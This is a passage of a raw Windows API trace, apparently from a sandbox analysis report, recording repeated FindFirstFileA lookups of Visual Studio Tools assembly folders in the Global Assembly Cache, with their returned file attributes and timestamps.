lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c80900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7ba78e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ba78e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.150] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd317f360, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7ba78e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ba78e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.155] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2d51ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7bcda40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7bcda40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.160] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52302a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7bcda40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7bcda40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.165] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.DesignTime\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa68fa750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7bcda40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7bcda40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.178] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.DesignTime\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60fb5630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7bcda40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7bcda40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.184] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7bf3ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7bf3ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.190] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5f05820, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7c19d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c19d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.194] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c80900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7c19d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c19d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.199] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd33e0960, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7c19d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c19d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.205] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e5c990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c3fe60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c3fe60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.210] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c3fe60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c3fe60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.215] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c80900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7c3fe60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c3fe60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.220] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5fea060, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7c65fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c65fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.225] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2cdfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c65fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c65fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.231] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c65fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c65fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.245] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4dd7560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7c8c120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7c8c120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.251] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd31cb620, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7cb2280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7cb2280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.256] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2dea570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cb2280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7cb2280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.261] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a2b24b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cb2280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7cb2280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.267] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30bdf90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cd83e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7cd83e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.272] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69af5d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cd83e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7cd83e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.277] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2f67330, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cd83e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7cd83e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.283] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61771db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cfe540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7cfe540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.288] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf58415a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7cfe540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7cfe540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.293] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd632fea0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7cfe540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7cfe540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.299] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53cac60, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7d246a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d246a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.304] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd32178e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7d246a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d246a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.309] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30e40f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d246a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d246a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.315] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d7a190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d4a800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d4a800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.320] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30e40f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d4a800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d4a800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.326] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d70960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d70960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.332] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d70960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d70960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.337] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d70960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d70960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.343] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf530c580, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7d96ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d96ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.348] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7d96ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d96ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.354] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5489340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7d96ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7d96ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.359] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd60a8740, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7dbcc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7dbcc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.364] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5227d40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7dbcc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7dbcc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.369] FindFirstFileA (in: 